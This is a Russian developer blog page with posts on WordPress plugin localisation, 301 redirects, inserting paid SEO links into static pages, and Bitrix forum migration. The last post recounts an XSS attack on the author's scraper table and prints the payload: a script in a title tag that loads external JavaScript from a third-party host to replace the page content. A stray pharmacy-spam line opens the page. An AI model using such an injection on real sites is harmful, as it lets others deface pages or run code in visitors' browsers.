.

#1 RX pharmacy affiliate program!
12 января 2012

Перевод WP плагина twitter-tools .pot -> .po .mo

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Не было оценок)

Давелось взять «доводить до ума» сайтик на WP движке с установленным плагинчиком Twitter Tools. Плагин в принципе интересный — интеграция с твиттером сайтик оживляет, но вот русской локализации у плагина не было — отсюда сайт на русском, а все служебные сообщения плагина на инглише — смотрится конечно же отвратительно.

Изначально с локализациями вообще туговато было — обновил плагин до актуального и уже получше.
В изменениях деклалировали
* Added language dir and .pot file

И действительно — папочка language присутствовала с файликом twitter-tools.pot
На этом всё — чё дальше не понятно...
А дальше конечно же гугл :)

Русификация Wordpress или зачем нужны файлы .mo и po, часть 1

Дублировать информацию не буду — там всё доступно написано... Если кратко — движек для перевода юзает .mo файлы, являющимися скомпрессированными .po файлами, которые в свою очередь создаются из .pot.

Но всё же дополню от себя:
Во первых twitter-tools.pot я переименовал в twitter-tools-ru_RU.po
Во вторых — по изложенному конечно же не пошло — при русификации «week» Poedit постоянно ругался и выдавал ошибку «...twitter-tools-ru_RU.po:373: missing `msgstr[]' section»

Связано это было с неверным заданием множественных форм в заголовке файла.
Сильно мудрить и разбираться я не стал — взял и тупо копирнул заголовки из заведомо рабочего файлика \wp-content\languages\ru_RU.po и всё пошло «на ура».

Post to Twitter ReTweet

рубрики: CMS, Программирование | Комментарии (1)

11 ноября 2011

301 редирект по параметрам URL средствами php, apache, nginx

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Не было оценок)

В многочисленных статьях по 301му редиректу обычно используют самые тривиальные случаи — с www на без www, с одной директории на другую и пр.
В моём случае необходимо было метнуть со странички с параметром ?param=value1... на ?param=value2... (какие именно писать не буду).
Небольшая сложность в таком подходе в том что ни аппач, ни nginx параметры не считают адресом странички.
С вариантом на php всё как обычно — просто решил его добавить до полноты картины :)
С него и начнём как с самого простого, но и самого неэффективного

Выдёргиваем нужный параметр value1 через $_REQUEST меняем что нужно, и редиректим куда нужно

header(«HTTP/1.1 301 Moved Permanently»);
header("Location: http://..........);
exit();

Далее, вариант с аппачем — регулярное выражение необходимо наложить на QUERY_STRING
Правим .htaccess

RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} ^param=value1(.+)$
RewriteRule ^(.*)$ $1?param=value2%1 [R=301,L]

И последний — самый эффективный nginx — тут параметры лежат в переменной $args

if ($args ~* (.*)param=value1(.+)) {
set $args $1param=value2$2;
rewrite ^(.*)$ $1 permanent;
}

Post to Twitter ReTweet

рубрики: Администрирование, Полезности, Программирование | Комментарии (1)

10 ноября 2011

Динамическое подключение к SAPE статических сайтов

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Не было оценок)

Вот такой вот тафтологичный заголовок получился :)

Немного хотел поделиться опытом — может кому пригодиться (хотя догадаться самому не сложно).
В общем довелось мне подрубить к сапе статический сайтик — эдак на 10 тыс html страниц :)

Идея проста — настраиваем обработчиком статических страниц свой скрипт, где уже динамически встраиваем сапу. (думал сначала тупо скриптом все странички поправить — но такой вариант мне не понравился). Сайт лежит на моём хостинге, так что проблем с редактированием конфигов у меня не возникло.

В моём случае фронтэндом у меня стоит nginx — вот в нём то и прописываем нужное правило.

location ~ \.(htm|html)$ {
charset windows-1251;
fastcgi_index index.php;
fastcgi_intercept_errors on;
root /.../site.ru/www/;
index index.php index.html index.htm;

include fastcgi_params;
fastcgi_pass unix:/tmp/php-fcgi.sock;
fastcgi_param SCRIPT_NAME /get.php;
fastcgi_param SCRIPT_FILENAME /.../site.ru/www/get.php;
}

в get.php уже дёргаем нужный статичный html файл
я его определил через $_SERVER["DOCUMENT_URI"]
и меняем как душе угодно, например
$page = str_replace('', $sape.'',$page);
где в $sape нужный блок со ссылками

Post to Twitter ReTweet

рубрики: SEO, Полезности, Программирование | Комментарии (0)

13 мая 2011

Bitrix API: конвертация форума с PHPBB

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Не было оценок)

Задача для меня, ещё совсем не опытного Bitrix программиста, не тривиальна ... но предположив, что я далеко не первый кодер, реализующий такую задачу я решил плотно погуглить ... и конечно-же нашел отличный материал, на основе которого и конвертировал таки форум.
Итак, статья — Переезжаем с phpBB на форум Битрикс
Материал в целом достаточный, причём неплохо прокомментирован, но всё же хочу акцентировать на некоторых моментах, с которыми пришлось столкнуться: Читать полностью »

Post to Twitter ReTweet

рубрики: Bitrix, Программирование | Комментарии (9)

28 апреля 2011

Мой первый скрипт с Bitrix API — очистка форума

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 1.00 из 5)

Перекидываю форум с PHPBB на Битрикс — благо конверторы писать с нуля не придётся — спасибо Долганину Антону за его статью Переезжаем с phpBB на форум Битрикс. Экспериментирую на тестовом форуме, поэтому перед наполнением, его нужно было почистить.
Собственно реализация этой небольшой ТЗ, созданная мной буквально за 5 минут (а битрикс то весьма удобен!):

<?php
set_time_limit(0);
ignore_user_abort();
 
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
 
if (CModule::IncludeModule("forum")) {
	// clear topics
	$db_res = CForumTopic::GetList(array(), array());
	while ($ar_res = $db_res->Fetch()) {
		echo 'deleted -'.$ar_res["TITLE"].'<br>';
		CForumTopic::Delete($ar_res["ID"]);
	}
	// clear forums
	$db_Forum = CForumNew::GetList(array(), array());
	while ($ar_Forum = $db_Forum->Fetch()) {
		CForumNew::Delete($ar_Forum["ID"]);
		echo 'deleted - '.$ar_Forum["NAME"].'<br>';
	}
 
       //clear users (кроме меня)
       $rsUser = CUser::GetList($by="ID", $order="DESC", array());
       while ($arU = $rsUser->GetNext()) {
	echo $arU["NAME"]."<br>";
	if($arU["ID"]>1) {
		CUser::Delete($arU["ID"]);
		echo "deleted<br>";
	} else {
		echo "stay<br>";
	}
}
 
}
?>

Post to Twitter ReTweet

рубрики: Программирование | Комментарии (2)

25 апреля 2011

Модификация таблицы конкурса SAPE

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (2 оценок, среднее: 3.00 из 5)

Вчера на мыло Алекс Терехов отписал письмецо, с просьбой помочь в отсеве доменов конкурсантов с историей — что конечно-же потешило моё самолюбие :)

Кстати — сегодня последний день регистрации !!! Желающие поучаствовать — поторопитесь.

Собственно, я раньше и сам хотел это дело реализовать, но всё руки не доходили, да и не было уверенности, что мою самодеятельность хоть кто-то смотрит.
Итак — все домены были прочеканы на наличие истории на рег.ру, а так же наличие снимков в веб-архиве.

Результат смотрим всё там-же http://seo.gtalex.ru/sape/
Читать полностью »

Post to Twitter ReTweet

рубрики: Полезности, Программирование | Комментарии (6)

24 апреля 2011

Парсинг и JS Инъекции

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Не было оценок)

На днях над моей табличкой конкурсантов, некоторые участники конкурса слегка поглумились — воткнули вместо таблицы с информацией обнаженную девушку — правильно сделали, раз уж парсишь — при выводе не забывай фильтровать !
Кому интересно и кто не в курсе — раскрою подробности процедуры:
Взглянув на табличку видно, что в ней выводится содержимое, сграбленного тега title — ну и некоторые ребята, решили проверить — фильтруется ли вывод, али нет :)
На denejno.ru в тег был вставлен JS код с подключением стороннего js файла.
А конкретно такой код

<title>Денежно.Ру
<script>
var scid=document.createElement('SCRIPT'); 
scid.type='text/javascript'; 
scid.charset='windows-1251';  
scid.src='http:/'+'/denejno.ru/f.js?rnd='+Math.random(); 
document.body.appendChild(scid);
</script>
<noscript>
</title>
</noscript>
</title>

На искомой странице скрипт не выполнялся, т.к. был внутри тега title. А в моей табличке — как раз пошел на выполнение :)
JS код подключаемого файла:

document.body.innerHTML='
<div align="center">
<img src="http://adamast.ru/images/all/erotic/adamast_ru_pic1261418007.jpg" alt="" width="900" border="0">
</div>';

Спасибо хоть девчёнку симпотную поставили, а не член в пол-экрана — хорошая наука на будущее. А то как обычно — быстро, на коленке и в эфир. Теперь буду повнимательнее и не так ленив на счёт фильтрации, чего и всем желаю.

Post to Twitter ReTweet

рубрики: Полезности, Программирование | Комментарии (0)

  • Ссылочки